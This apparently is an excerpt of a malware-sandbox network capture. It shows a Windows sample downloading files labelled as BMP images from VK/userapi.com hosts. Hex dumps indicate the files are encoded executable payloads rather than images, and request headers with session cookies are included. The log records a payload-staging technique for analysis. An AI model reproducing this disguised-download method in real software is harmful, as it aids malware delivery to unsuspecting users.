2024-05-24 11:42:15 UTC	584	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:14 GMT Content-Type: image/x-ms-bmp Content-Length: 80900 Connection: close Last-Modified: Tue, 21 May 2024 13:13:57 GMT ETag: "664c9e15-13c04" Expires: Sun, 23 Jun 2024 11:42:14 GMT Cache-Control: max-age=2592000 X-Frontend: front6-20 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: o_Py51xAxyqL48BI1yEH6dPHrH2LQg Accept-Ranges: bytes
2024-05-24 11:42:15 UTC	15800	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 95 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 45 50 15 15 71 93 17 15 0f 9a 3c b4 15 15 15 15 15 15 15 15 e5 15 37 15 1e 17 25 15 15 21 14 15 15 13 15 15 15 15 15 15 15 15 15 15 15 35 15 15 15 15 15 ff 14 15 15 15 15 35 15 15 15 17 15 15 11 15 15 15 15 15 15 15 13 15 15 15 15 15 15 15 15 95 14 15 15 17 15 15 15 15 15 15 17 15 75 90 15 15 ff 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 01 15 15 15 15 15 15 35 15 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1EPq<7%!55u5
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 56 73 56 20 47 72 5d 22 5b 6d 54 4c 7a 7d 79 62 24 45 46 51 4f 67 76 62 46 45 65 3a 42 7c 46 26 5b 7c 59 61 40 61 27 4f 70 20 7d 72 72 52 2d 41 76 7f 23 59 65 45 56 2d 5d 2c 7e 23 21 46 67 41 46 23 52 57 46 59 2c 5f 58 3a 4d 5a 5d 71 6c 52 7e 66 70 46 22 70 26 5b 22 73 67 23 4d 50 73 7c 44 26 5c 73 52 56 7e 7f 65 62 78 3a 6c 66 60 22 5a 72 67 7d 67 5d 6d 54 50 51 50 52 6d 77 7d 76 6f 27 57 6f 5a 5a 52 6f 67 60 42 54 23 6d 50 71 74 25 21 74 23 7c 2c 7a 78 74 58 41 58 45 42 44 79 72 23 77 60 60 70 43 70 72 21 4d 4c 7f 5e 72 58 7d 73 51 5e 78 63 56 73 7f 77 76 40 50 24 5e 7f 5a 46 71 47 3a 51 61 5b 54 51 78 7e 27 76 5b 60 70 74 52 73 53 72 70 46 56 5e 4c 70 2d 2c 25 73 63 4f 20 44 23 73 3e 6d 58 7c 44 78 2d 70 59 53 7b 54 57 6c 5f 24 52 7d 78 25 4d 6d 5c 5d Data Ascii: VsV Gr]"[mTLz}yb$EFQOgvbFEe:B\|F&[\|Ya@a'Op }rrR-Av#YeEV-],~#!FgAF#RWFY,_X:MZ]qlR~fpF"p&["sg#MPs\|D&\sRV~ebx:lf`"Zrg}g]mTPQPRmw}vo'WoZZRog`BT#mPqt%!t#\|,zxtXAXEBDyr#w``pCpr!ML^rX}sQ^xcVswv@P$^ZFqG:Qa[TQx~'v[`ptRsSrpFV^Lp-,%scO D#s>mX\|Dx-pYS{TWl_$R}x%Mm\]
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 52 6f 60 23 7c 64 4d 54 74 62 60 62 59 42 78 66 79 7d 7c 78 2c 21 70 77 62 60 5d 7f 3a 2c 47 62 60 43 47 76 51 7c 4f 63 64 2d 78 5c 27 4d 3a 6f 74 45 40 5e 7a 63 5b 4f 5a 25 4c 62 5c 2c 61 51 40 40 52 20 42 77 57 62 6c 5e 3e 5c 51 22 5a 57 6d 64 4d 6f 24 2d 4d 7f 5a 41 70 7e 5d 52 46 70 54 6d 5d 77 6c 5f 66 40 3a 60 7e 44 52 4f 50 21 4d 43 4f 40 59 67 42 56 22 22 7e 25 77 52 7f 77 5a 24 40 7c 5f 7e 53 7b 44 74 63 7f 56 71 27 42 6f 63 59 78 20 21 74 58 71 5d 2d 51 20 42 20 43 6c 4f 7e 5c 5a 7a 50 21 43 6d 3e 56 47 5b 4c 23 22 21 25 52 4c 57 73 5d 24 46 40 7a 21 5a 7c 46 67 4f 45 7f 5f 5a 41 21 59 61 62 43 51 20 4c 72 5c 7a 7f 27 51 7c 71 65 26 7d 65 78 25 7f 40 23 4d 66 63 47 71 7c 58 22 4d 7e 76 3e 4c 77 63 62 43 5d 3e 41 3a 5f 6f 73 62 5a 6d 42 2d 27 7a Data Ascii: Ro`#\|dMTtb`bYBxfy}\|x,!pwb`]:,Gb`CGvQ\|Ocd-x\'M:otE@^zc[OZ%Lb\,aQ@@R BwWbl^>\Q"ZWmdMo$-MZAp~]RFpTm]wl_f@:`~DROP!MCO@YgBV""~%wRwZ$@\|_~S{DtcVq'BocYx !tXq]-Q B ClO~\ZzP!Cm>VG[L#"!%RLWs]$F@z!Z\|FgOE_ZA!YabCQ Lr\z'Q\|qe&}ex%@#MfcGq\|X"M~v>LwcbC]>A:_osbZmB-'z
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 54 56 53 62 5d 47 74 58 2d 78 59 25 50 52 21 54 51 54 54 54 50 46 5b 46 44 41 3a 43 25 7d 5c 7c 4c 71 72 51 44 54 54 46 5c 4d 54 71 57 71 50 7c 21 4d 54 54 72 54 54 46 4c 63 4d 46 5c 63 5c 23 50 5c 67 54 54 57 57 7c 3a 41 67 54 7a 63 6f 47 5c 60 53 62 54 5c 54 54 51 45 46 46 4c 63 45 23 50 7a 67 54 54 57 57 3a 24 40 54 41 4c 63 5d 44 4c 63 40 46 5c 63 5c 3a 20 73 72 54 54 54 54 41 5c 61 66 5f 50 7d 5f 7c 2d 22 3a 79 26 54 57 54 54 57 5f 7c 2d 26 3a 79 26 54 57 54 54 57 53 58 3a 4f 5c 7c 25 62 7e 42 45 3e 4d 76 54 50 54 54 5c 4d 27 71 50 7c 51 63 6f 44 56 54 54 54 51 71 41 2c 5c 7c 20 2c 72 51 44 54 54 46 5c 27 4d 46 54 25 54 54 50 46 59 7f 24 72 5b 54 54 57 5c 7f 4c 2d 21 51 44 54 54 41 5c 63 51 23 5a 50 78 54 54 57 5c 7c 24 76 7a 46 5c 27 45 59 54 62 54 Data Ascii: TVSb]GtX-xY%PR!TQTTTPF[FDA:C%}\\|LqrQDTTF\MTqWqP\|!MTTrTTFLcMF\c\#P\gTTWW\|:AgTzcoG\`SbT\TTQEFFLcE#PzgTTWW:$@TALc]DLc@F\c\: srTTTTA\af_P}_\|-":y&TWTTW_\|-&:y&TWTTWSX:O\\|%b~BE>MvTPTT\M'qP\|QcoDVTTTQqA,\\| ,rQDTTF\'MFT%TTPFY$r[TTW\L-!QDTTA\cQ#ZPxTTW\\|$vzF\'EYTbT
2024-05-24 11:42:15 UTC	15948	IN	Data Raw: 3a 21 50 71 70 23 5f 50 73 51 3a 44 72 41 67 5d 41 45 27 7c 21 46 26 2d 54 72 54 54 51 66 50 66 26 40 41 47 7a 45 3e 57 5d 4d 60 7f 40 5c 5c 7c 44 5d 62 3a 25 5c 58 58 2d 51 67 56 5c 58 7d 54 59 72 56 44 54 56 54 4d 24 20 77 62 72 62 54 7c 25 44 7e 52 5c 58 72 54 51 45 54 62 7d 72 54 7c 25 44 7e 57 54 3e 63 47 56 44 5c 62 21 61 50 5f 57 46 51 5c 54 54 6f 62 58 5c 40 54 5c 61 50 5f 54 44 51 47 56 44 5c 62 24 53 41 43 7a 61 25 5f 57 56 5b 7d 79 44 51 54 54 57 44 43 60 72 5e 5c 72 54 54 7c 2c 7d 4f 42 4c 4d 77 71 44 4f 54 23 71 40 54 54 54 57 43 43 27 7a 54 7f 4c 77 5c 57 44 54 54 40 53 5b 42 23 5c 72 7c 54 54 56 59 23 5c 45 50 50 5c 4d 61 51 21 46 6c 54 54 54 54 63 25 72 40 44 54 56 57 22 6f 62 40 44 54 54 45 7c 5e 50 54 54 54 56 5b 47 56 44 4c 40 52 65 54 Data Ascii: :!Pqp#_PsQ:DrAg]AE'\|!F&-TrTTQfPf&@AGzE>W]M`@\\\|D]b:%\XX-QgV\X}TYrVDTVTM$ wbrbT\|%D~R\XrTQETb}rT\|%D~WT>cGVD\b!aP_WFQ\TTobX\@T\aP_TDQGVD\b$SACza%_WV[}yDQTTWDC`r^\rTT\|,}OBLMwqDOT#q@TTTWCC'zTLw\WDTT@S[B#\r\|TTVY#\EPP\MaQ!FlTTTTc%r@DTVW"ob@DTTE\|^PTTTV[GVDL@ReT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49797	95.142.206.2	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:14 UTC	413	OUT	GET /c237231/u5294803/docs/d48/577c681b7b2d/xfile.bmp?extra=dYdwrl7550ZsVpDpI4edqrBBWzO62vW2JfAM58VQJEAq1f1u5sRJ-oLSyg7Zpabnwn07YGQJoIh1kqXr4Gqg3GPBO6NvrKJxKvrKzCgnPDcXyJUZNyRnnX0rJt7A1_VB7rEMDNUg9EA HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: sun6-22.userapi.com Connection: Keep-Alive
2024-05-24 11:42:15 UTC	587	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:15 GMT Content-Type: image/x-ms-bmp Content-Length: 5154292 Connection: close Last-Modified: Tue, 21 May 2024 15:01:17 GMT ETag: "664cb73d-4ea5f4" Expires: Sun, 23 Jun 2024 11:42:15 GMT Cache-Control: max-age=2592000 X-Frontend: front6-22 Access-Control-Expose-Headers: X-Frontend Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, OPTIONS Strict-Transport-Security: max-age=15768000 Access-Control-Allow-Headers: X-Quic X-Trace-Id: 85QI2bD3tCGJWuWqdzPic448lwcXpw Accept-Ranges: bytes
2024-05-24 11:42:15 UTC	15797	IN	Data Raw: dd cc 66 55 58 4f 85 15 16 15 15 15 11 15 15 15 ea ea 15 15 ad 15 15 15 15 15 15 15 ff 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 15 95 15 15 15 1b 80 af 1b 15 a1 1c d8 34 ad 14 59 d8 34 41 7d 7c 66 35 65 67 7a 72 67 74 78 35 76 74 7b 7b 7a 61 35 77 70 35 67 60 7b 35 7c 7b 35 51 5a 46 35 78 7a 71 70 3b 18 18 1f 31 15 15 15 15 15 15 15 45 50 15 15 59 14 16 15 2d 1c ae b2 15 15 15 15 15 15 15 15 f5 15 1b 14 1e 14 45 15 15 fd 5f 15 15 59 16 15 15 15 15 15 8b 1d 5e 15 15 35 15 15 15 35 5e 15 15 15 ff 15 15 35 15 15 15 17 15 15 11 15 15 15 15 15 15 15 11 15 15 15 15 15 15 15 15 b5 5b 15 15 17 15 15 18 52 5a 15 17 15 ff 90 15 15 01 15 15 01 15 15 15 15 01 15 15 01 15 15 15 15 15 15 1a 15 15 15 15 15 15 Data Ascii: fUXO4Y4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;1EPY-E_Y^55^5[RZ
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 15 2d be ea ea ea c8 0b 15 15 15 04 1d 2c 04 15 15 15 2d 15 15 15 15 04 1d 7a 63 15 15 1f 2d 15 15 15 15 c9 2d 15 15 15 15 17 6e 2b 15 15 11 2c 38 15 15 15 35 15 15 15 15 3d dc 15 15 13 2c db eb ea ea 33 35 15 15 15 15 2d d6 eb ea ea 17 6e 20 15 15 11 16 7a 0f 17 15 13 06 1d 2d 1d ea ea ea c8 9c 15 15 15 04 1c 2c 04 15 15 15 2d 15 15 15 15 04 1c 7a 63 15 15 1f 2d 15 15 15 15 c9 35 17 15 15 15 2d 0d eb ea ea 11 16 7a 20 14 15 13 3d 68 15 15 1f 2d bf 14 15 15 35 15 10 15 15 3d f5 15 15 13 66 90 14 15 13 6f 17 3d b8 15 15 13 2f 0e 15 15 15 2d 95 14 15 15 11 16 7a 20 14 15 13 3d 6b 15 15 1f 35 13 15 15 15 2d c4 e8 ea ea 16 7a 3c 14 15 13 2f 8b 15 15 15 2d 10 14 15 15 2d d0 ea ea ea 35 11 15 15 15 2d a7 e8 ea ea 17 6e 2e 15 15 11 2c a5 ea ea ea 35 10 15 15 15 Data Ascii: -,-zc--n+,85=,35-n z-,-zc-5-z =h-5=fo=/-z =k5-z</--5-n.,5
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 15 15 15 eb 19 15 15 50 14 15 15 15 55 15 15 15 2d 01 15 15 15 16 3d bc 14 15 13 2c 0e 15 15 15 2d 19 15 15 15 17 16 68 fc 15 15 11 2d 28 15 15 15 2d 55 15 15 15 2d 15 15 15 15 35 e9 10 15 15 3d 3d 03 15 13 66 bc 15 15 1f 6f 17 17 6e f3 15 15 11 0f 75 68 f3 15 15 11 35 15 15 15 15 3d b3 14 15 13 2c 8a ea ea ea 33 2d 00 ea ea ea 3f 2f 3e 10 3d 64 e1 78 2d 17 6e f3 15 15 11 3f 15 47 3e 10 3d a7 1d 6e 2a 17 16 68 f3 15 15 11 2d 15 15 15 15 3f 15 15 15 06 25 10 15 95 15 15 15 14 15 15 04 3e 10 3d f7 2d 38 2e 17 35 a7 12 15 15 02 02 66 cd 15 15 1f 68 f2 15 15 11 2d 15 15 15 15 17 35 a7 12 15 15 02 02 66 cd 15 15 1f 68 de 15 15 11 2d 15 15 15 15 17 35 a7 12 15 15 02 02 66 cd 15 15 1f 68 fc 15 15 11 2d 15 15 15 15 17 3d 64 15 15 1f 35 15 15 15 15 02 2f 0a 15 15 Data Ascii: PU-=,-h-(-U-5==fonuh5=,3-?/>=dx-n?G>=n*h-?%>=-8.5fh-5fh-5fh-=d5/
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 15 13 2f 5d ea ea ea 33 35 15 15 15 15 2d 28 ea ea ea 04 14 11 7a ff 14 15 13 2d 1e 15 15 15 17 3d 4d 17 15 13 2d 72 ea ea ea 17 16 04 14 66 d1 17 15 13 3d 3b 17 15 13 2d 3d ea ea ea 15 15 06 25 11 15 a6 15 15 15 5d 15 15 04 3e 10 3d e2 5e 18 52 2d 37 15 15 15 eb 19 14 15 50 17 15 15 15 10 15 15 15 00 15 15 15 2d 15 15 15 15 17 02 68 36 14 15 11 2d 33 15 15 15 16 2f 66 15 15 15 2d 4b 15 15 15 17 3d 4d 17 15 13 35 15 15 15 15 3d 7c 17 15 13 2c d7 ea ea ea 33 2d ad ea ea ea 17 3d 34 17 15 13 16 3d 93 17 15 13 06 15 2d 15 15 15 15 04 15 11 7a ff 14 15 13 2d 15 15 15 15 17 16 04 15 66 d1 17 15 13 3d 3b 17 15 13 35 14 15 15 15 3d 7c 17 15 13 2c 6a ea ea ea 33 2d 60 ea ea ea 35 47 19 15 15 3d 7e 17 15 13 66 6f 15 15 1f 6f 11 3d 2c 17 15 13 2d 92 ea ea ea 3f 15 Data Ascii: /]35-(z-=M-rf=;-=%]>=^R-7P-h6-3/f-K=M5=\|,3-=4=-z-f=;5=\|,j3-`5G=~foo=,-?
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: ea 35 69 34 15 15 3d 3d 03 15 13 66 90 14 15 13 6f 11 7a 38 14 15 13 80 27 2a 3e 14 15 15 2d ff 15 15 15 04 14 98 65 15 15 14 06 17 35 16 15 15 15 2d 10 ea ea ea 17 3d 15 17 15 13 2c 82 15 15 15 35 14 15 15 15 3d 7c 17 15 13 2c fe eb ea ea 33 35 14 15 15 15 2d f5 eb ea ea 0a 06 15 2d 13 ea ea ea 11 80 ff 3d 74 14 15 13 2c cc 15 15 15 2d 51 14 15 15 17 11 7a 22 14 15 13 3d e9 14 15 13 35 10 15 15 15 2d a5 eb ea ea 35 1f 34 15 15 3d 3d 03 15 13 04 14 99 67 15 15 14 04 16 99 67 15 15 14 3d e4 15 15 1f 66 90 14 15 13 6f 0d 98 65 15 15 14 06 11 2d 37 ea ea ea 35 bf 35 15 15 3d 3d 03 15 13 66 90 14 15 13 6f 11 3d a0 17 15 13 06 14 2d 5e ea ea ea 35 ab 34 15 15 3d 3d 03 15 13 66 90 14 15 13 6f 16 04 1d 17 6e 0f 14 15 11 0a 7a 1a 14 15 1f 03 66 01 14 15 1f 06 15 Data Ascii: 5i4==foz8'*>-e5-=,5=\|,35--=t,-Qz"=5-54==gg=foe-755==fo=-^54==fonzf
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 7b 15 15 15 17 6e 91 14 15 11 0b ff 9b 15 15 15 2d 3d eb ea ea 17 6e 97 14 15 11 7a 0f 14 15 13 2c e5 eb ea ea 2d 3b eb ea ea 17 16 11 10 3d b7 16 15 13 3f 17 17 eb 13 b3 16 15 13 66 d5 16 15 13 68 95 14 15 11 35 10 15 15 15 2d 6a e8 ea ea 17 6e 92 14 15 11 7a 67 11 15 13 17 6e 93 14 15 11 7a f3 15 15 1f 3d a9 16 15 13 06 17 2d 95 15 15 15 17 17 eb 13 b6 16 15 13 66 d5 16 15 13 68 95 14 15 11 35 11 15 15 15 3d bc 16 15 13 2c 29 e8 ea ea 33 35 1d 15 15 15 2d 24 e8 ea ea 17 6e 97 14 15 11 7a 0f 14 15 13 2f ba 15 15 15 2d e2 eb ea ea 17 6e 91 17 15 11 03 7f eb 17 04 15 75 2c 0b ea ea ea 35 14 15 15 15 3d bf 16 15 13 2c ee e9 ea ea 33 2d e4 e9 ea ea 03 3f 17 6e 97 17 15 11 17 6e 94 17 15 11 7a 7e 10 15 13 2d b9 ea ea ea 35 5b 32 15 15 3d 3d 03 15 13 35 79 32 Data Ascii: {n-=nz,-;=?fh5-jnzgnz=-fh5=,)35-$nz/-nu,5=,3-?nnz~-5[2==5y2
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 3f 15 15 53 3e 10 3d 76 89 03 5e eb 1c 15 15 7a b1 11 15 13 3f 15 15 63 3e 10 3d 88 c4 68 20 eb 1c 15 15 eb 1c 14 15 eb 1c 17 15 eb 1c 16 15 7a b6 11 15 13 3f 15 15 5f 3e 10 3d cf 66 5f 5b 15 eb 1c 15 15 3d 3d 03 15 13 3f 15 43 3e 10 3d ee d0 65 3b eb 1c 15 15 eb 1c 14 15 7a be 11 15 13 3f 15 15 43 3e 10 3d dd df 23 4a eb 1c 15 15 eb 1c 14 15 7a 24 10 15 13 3f 15 15 53 3e 10 3d bf 46 53 2f eb 1c 15 15 7a 3a 10 15 13 3f 15 15 53 3e 10 3d bd f2 68 28 eb 1c 15 15 7a bd 11 15 13 3f 15 15 63 3e 10 3d 24 d7 4e 3b eb 1c 15 15 eb 1c 14 15 eb 1c 17 15 eb 1c 16 15 7a b0 11 15 13 3f 15 15 06 25 11 15 e7 15 15 15 14 15 15 04 3e 10 3d 75 17 4e 56 35 14 15 15 15 eb 1b 15 15 2d 15 15 15 15 eb 19 15 15 50 16 15 15 15 42 15 15 15 10 15 15 15 66 15 15 15 2d 47 15 15 15 35 Data Ascii: ?S>=v^z?c>=h z?_>=f_[==?C>=e;z?C>=#Jz$?S>=FS/z:?S>=h(z?c>=$N;z?%>=uNV5-PBf-G5
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 15 0e 04 14 2d 1f 15 15 15 3d 45 1c 15 13 66 57 14 15 1f 06 14 07 14 3d 54 14 15 1f 7c 06 17 07 17 3d a2 15 15 1f 35 c7 3a 15 15 3d 3d 03 15 13 17 69 2c 17 15 11 3d a2 15 15 1f 3d 56 14 15 1f 66 79 15 15 13 6f 17 80 19 68 2d 17 15 11 2d cd eb ea ea 06 25 10 15 7c 11 15 15 98 15 15 04 3e 10 3d 9f 49 32 2d 35 1f 15 15 15 eb 1b 11 15 2d 15 15 15 15 eb 19 11 15 50 1a 15 15 15 64 14 15 15 56 17 15 15 03 14 15 15 e8 15 15 15 22 14 15 15 9e 17 15 15 fb 14 15 15 72 14 15 15 4e 14 15 15 b2 15 15 15 24 17 15 15 a2 14 15 15 c4 16 15 15 52 14 15 15 c6 17 15 15 2d 79 14 15 15 04 16 17 6e 28 17 15 11 35 ea ea 15 15 74 2e b8 16 15 15 2d 8d 16 15 15 03 3f 17 6e 57 17 15 11 80 01 7a be 10 15 13 2d c1 ea ea ea 17 3d fe 11 15 13 3f 17 3d f9 11 15 13 3f 17 3d fb 11 15 13 3f Data Ascii: -=EfW=T\|=5:==i,==Vfyoh--%\|>=I2-5-PdV"rN$R-yn(5t.-?nWz-=?=?=?
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: fd eb ea ea 35 43 2d 15 15 3d 3d 03 15 13 66 10 14 15 1f 6f 03 06 15 2d 24 15 15 15 04 15 10 4d 3f 17 17 6e 9e 17 15 11 17 17 6e 99 17 15 11 06 17 04 17 02 4d 68 99 17 15 11 04 17 84 35 ea 15 15 15 4a 68 9b 17 15 11 2d 0e ea ea ea 2d 2c ea ea ea 2d 77 eb ea ea 10 03 29 d6 eb ea ea 2d bb eb ea ea 06 25 13 15 2e 15 15 15 14 15 15 04 3e 10 3d 47 74 04 71 2d 36 15 15 15 3f 17 17 17 03 30 06 15 68 9a 17 15 11 04 15 30 06 15 68 98 17 15 11 04 15 68 99 17 15 11 2d c8 ea ea ea 17 03 68 9b 17 15 11 2d c7 ea ea ea 15 06 25 12 15 b4 14 15 15 38 15 15 04 3e 10 3d 0c 95 48 2d 2d af 15 15 15 eb 19 15 15 50 11 15 15 15 2d 15 15 15 87 15 15 15 33 14 15 15 0f 14 15 15 2d 26 15 15 15 11 04 14 28 8a 15 15 15 35 14 15 15 15 3d a0 10 15 13 2f da ea ea ea 33 35 14 15 15 15 2d Data Ascii: 5C-==fo-$M?nnMh5Jh--,-w)-%.>=Gtq-6?0h0hh-h-%8>=H--P-3-&(5=/35-
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 1c 15 15 eb 1c 14 15 eb 1c 17 15 eb 1c 16 15 7a 85 14 15 1f 3f 15 15 06 25 16 15 f3 15 15 15 14 15 15 04 3e 10 3d 84 9e 7d 75 17 3d 64 15 15 1f 2d 80 15 15 15 2d e5 ea ea ea eb 19 15 15 50 16 15 15 15 21 15 15 15 75 15 15 15 8f 15 15 15 2d 3a 15 15 15 17 35 b7 2e 15 15 3d c0 13 15 13 3d b9 13 15 13 2d 15 15 15 15 17 35 9f 16 15 15 3d 3d 03 15 13 3d bb 13 15 13 35 17 15 15 15 2d ae ea ea ea 17 6b 39 16 15 11 3d 8b 13 15 13 2d 73 15 15 15 17 67 14 15 15 65 3d bf 13 15 13 35 15 15 15 15 03 2c 00 ea ea ea 33 2d 9e ea ea ea 17 6b 3b 16 15 11 3d a7 13 15 13 2d 09 15 15 15 17 6b 3a 16 15 11 3d a5 13 15 13 35 14 15 15 15 02 2f 7c ea ea ea 33 2d 4a ea ea ea 17 03 7f 3d b7 13 15 13 2d 15 15 15 15 3f 17 67 14 15 15 65 3d 8c 13 15 13 2d 8f ea ea ea 17 6b 38 16 15 11 Data Ascii: z?%>=}u=d--P!u-:5.==-5===5-k9=-sge=5,3-k;=-k:=5/\|3-J=-?ge=-k8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49795	87.240.132.72	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:14 UTC	520	OUT	GET /doc5294803_669444172?hash=h9HNKFC3zZA9b76sO7xwyzGneP1GyF1iEy2xZ2jA5y8&dl=d94daMXVZFK5tezNI2nYywbtZUDfgtE1vvaKnaRV9Z4&api=1&no_preview=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: vk.com Cache-Control: no-cache Cookie: remixlang=3; remixstlid=9068030949443387325_NGR4K8R73ya6BWvG15JUMzvA1VoJM3xkbdPjML8QTjw; remixlgck=97161aec10fb207ac3; remixstid=359637111_zjquBN3qKtIZdISlmymUJ2Ztdo5Vh7QJ42TEqSZMxB4; remixir=1
2024-05-24 11:42:15 UTC	1890	IN	HTTP/1.1 200 OK Server: kittenx Date: Fri, 24 May 2024 11:42:15 GMT Content-Type: text/html; charset=windows-1251 Content-Length: 467478 Connection: close X-Powered-By: KPHP/7.4.116875 Set-Cookie: remixir=DELETED; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain=.vk.com; secure; HttpOnly; SameSite=None Cache-control: no-store X-Robots-Tag: noindex,nofollow Reporting-Endpoints: default="https://vk.com/browser_reports?dest=default_reports" Content-Security-Policy: default-src * data: blob: about: vkcalls:;script-src 'self' https://vk.com https://.vk.com https://vk.ru https://.vk.ru https://static.vk.me https://.mail.ru https://r.mradx.net https://s.ytimg.com https://platform.twitter.com https://cdn.syndication.twimg.com https://www.instagram.com https://connect.facebook.net https://telegram.org https://.yandex.ru https://.google-analytics.com https://.youtube.com https://maps.googleapis.com https://translate.googleapis.com https://.google.com https://google.com https://.vkpartner.ru https://.moatads.com https://.adlooxtracking.ru https://.serving-sys.ru https://.weborama-tech.ru https://.gstatic.com https://.google.ru https://securepubads.g.doubleclick.net https://cdn.ampproject.org https://www.googletagmanager.com https://googletagmanager.com https://.vk-cdn.net https://.hit.gemius.pl https://yastatic.net https://analytics.tiktok.com 'unsafe-inline' 'unsafe-eval' blob:;style-src https://vk.com https://*.vk.com https://vk.ru htt [TRUNCATED] X-XSS-Protection: 1; report=/xss_reports X-Frame-Options: deny X-Frontend: front924104 Strict-Transport-Security: max-age=15768000 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: dMqCqM88TEcFNPeg78d_TS1GR1HYwA
2024-05-24 11:42:15 UTC	14494	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 20 6c 61 6e 67 3d 27 65 6e 27 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 66 61 76 69 63 6f 6e 73 2f 66 61 76 5f 6c 6f 67 6f 2e 69 63 6f 3f 37 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 69 63 6f 6e 73 2f 70 77 61 2f 61 70 70 6c 65 2f 64 65 66 61 75 6c 74 2e 70 6e 67 3f 31 Data Ascii: <!DOCTYPE html><html lang='en' dir='ltr'><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><link rel="shortcut icon" href="/images/icons/favicons/fav_logo.ico?7" /><link rel="apple-touch-icon" href="/images/icons/pwa/apple/default.png?1
2024-05-24 11:42:15 UTC	16384	IN	Data Raw: 6e 6b 3a 61 63 74 69 76 65 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 70 78 7d 0a 62 6f 64 79 2e 57 69 64 65 53 63 72 65 65 6e 41 70 70 50 61 67 65 20 2e 54 6f 70 48 6f 6d 65 4c 69 6e 6b 3e 73 76 67 7b 68 65 69 67 68 74 3a 32 34 70 78 7d 0a 2e 4c 65 66 74 4d 65 6e 75 5f 5f 69 74 65 6d 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 0a 2e 4c 65 66 74 4d 65 6e 75 5f 5f 69 74 65 6d 2d 2d 77 69 74 68 52 65 64 44 6f 74 3a 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 35 70 78 3b 6c 65 66 74 3a 31 38 70 78 3b 77 69 64 74 68 3a 36 70 78 3b 68 65 69 67 68 74 3a 36 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 6f 72 64 65 Data Ascii: nk:active{margin-top:1px}body.WideScreenAppPage .TopHomeLink>svg{height:24px}.LeftMenu__item{position:relative}.LeftMenu__item--withRedDot::before{content:"";display:block;position:absolute;top:5px;left:18px;width:6px;height:6px;border-radius:50%;borde
